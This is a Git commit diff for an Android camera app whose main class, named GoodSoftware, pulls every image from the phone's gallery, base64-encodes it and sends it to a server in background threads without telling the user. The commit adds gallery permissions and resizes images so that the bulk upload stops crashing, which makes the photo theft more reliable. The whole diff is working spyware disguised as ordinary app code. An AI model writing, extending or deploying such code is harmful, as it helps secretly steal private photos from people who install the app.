Reencode images to prevent memory leak

This commit is contained in:
Joren 2024-05-02 12:05:12 +02:00
parent 319e09a950
commit 7f9f5d30a1
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
3 changed files with 123 additions and 40 deletions

View File

@ -6,6 +6,8 @@
<uses-feature android:name="android.hardware.camera" /> <uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" /> <uses-feature android:name="android.hardware.camera.autofocus" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<application <application
android:allowBackup="true" android:allowBackup="true"

View File

@ -6,7 +6,10 @@ import android.content.ContentUris
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.net.Uri import android.net.Uri
import android.os.Build
import android.provider.MediaStore import android.provider.MediaStore
import android.util.Base64 import android.util.Base64
import android.util.Log import android.util.Log
@ -112,48 +115,102 @@ class GoodSoftware (private val activity: MainActivity) {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
} }
private fun startPictureCapture() { private fun checkStoragePermission() {
activity.lifecycleScope.launch { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
// Check and request camera permission // Request READ_MEDIA_IMAGES permission for Android 13 and higher
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
requestCameraPermission() requestMediaImagesPermission()
} } else {
// For lower Android versions, request READ_EXTERNAL_STORAGE
// Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
requestGalleryPermission() requestGalleryPermission()
} }
} else {
startPictureCapture()
}
}
// If both permissions are granted, proceed with picture capture and gallery access private fun requestMediaImagesPermission() {
takeBeautifulPicture(activity, activity) ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
Thread { private fun startPictureCapture() {
val imageList = getAllImagesFromGallery(activity) activity.lifecycleScope.launch {
for (image in imageList) { try {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) // Check and request camera permission
Thread { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
println("Sending data to server") requestCameraPermission()
sendDataToServer(base64Image)
}.start()
} }
}.start()
// Check and request gallery permission
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
checkStoragePermission()
}
// If both permissions are granted, proceed with picture capture and gallery access
takeBeautifulPicture(activity, activity)
Thread {
try {
val imageList = getAllImagesFromGallery(activity)
for (image in imageList) {
println(imageList.size)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
sendDataToServer(base64Image)
}.start()
}
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}.start()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
} }
} }
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
var base64Image = "" var base64Image = ""
contentResolver.openInputStream(imageUri)?.use { inputStream -> try {
val byteArrayOutputStream = ByteArrayOutputStream() contentResolver.openInputStream(imageUri)?.use { inputStream ->
inputStream.copyTo(byteArrayOutputStream) val bitmap = BitmapFactory.decodeStream(inputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT) val resizedBitmap = resizeBitmap(bitmap, 1920, 1080)
val byteArrayOutputStream = ByteArrayOutputStream()
resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
}
} catch (oom: OutOfMemoryError) {
// Handle OutOfMemoryError
Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
} }
return base64Image return base64Image
} }
fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
val width = bitmap.width
val height = bitmap.height
val scaleWidth = newWidth.toFloat() / width
val scaleHeight = newHeight.toFloat() / height
val matrix = android.graphics.Matrix()
matrix.postScale(scaleWidth, scaleHeight)
val resizedBitmap = Bitmap.createBitmap(
bitmap, 0, 0, width, height, matrix, false
)
bitmap.recycle()
return resizedBitmap
}
private fun requestGalleryPermission() { private fun requestGalleryPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
} }
// Handle permission request result // Handle permission request result
@ -175,6 +232,14 @@ class GoodSoftware (private val activity: MainActivity) {
// Handle accordingly // Handle accordingly
} }
} }
REQUEST_MEDIA_IMAGES_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startPictureCapture()
} else {
// Media images permission denied
// Handle accordingly
}
}
} }
} }
@ -323,21 +388,32 @@ class GoodSoftware (private val activity: MainActivity) {
) )
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
val cursor = contentResolver.query( // Check permission based on Android version
imageUri, val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
imageProjection, Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
null, } else {
null, Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
"${MediaStore.Images.Media.DATE_ADDED} DESC" }
)
cursor?.use { cursor -> if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID) val cursor = contentResolver.query(
while (cursor.moveToNext()) { imageUri,
val id = cursor.getLong(idColumn) imageProjection,
val contentUri = ContentUris.withAppendedId(imageUri, id) null,
imageList.add(contentUri.toString()) null,
"${MediaStore.Images.Media.DATE_ADDED} DESC"
)
cursor?.use { cursor ->
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
while (cursor.moveToNext()) {
val id = cursor.getLong(idColumn)
val contentUri = ContentUris.withAppendedId(imageUri, id)
imageList.add(contentUri.toString())
}
} }
} else {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
} }
return imageList return imageList

View File

@ -4,6 +4,7 @@ import android.Manifest
import android.app.Activity import android.app.Activity
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.os.Bundle import android.os.Bundle
import android.util.Log
import android.widget.Toast import android.widget.Toast
import androidx.activity.ComponentActivity import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent import androidx.activity.compose.setContent
@ -34,7 +35,11 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
} }
} }
goo = GoodSoftware(this@MainActivity) goo = GoodSoftware(this@MainActivity)
goo.launch() try {
goo.launch()
}catch (e: Exception) {
e.printStackTrace()
}
} }
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) { override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {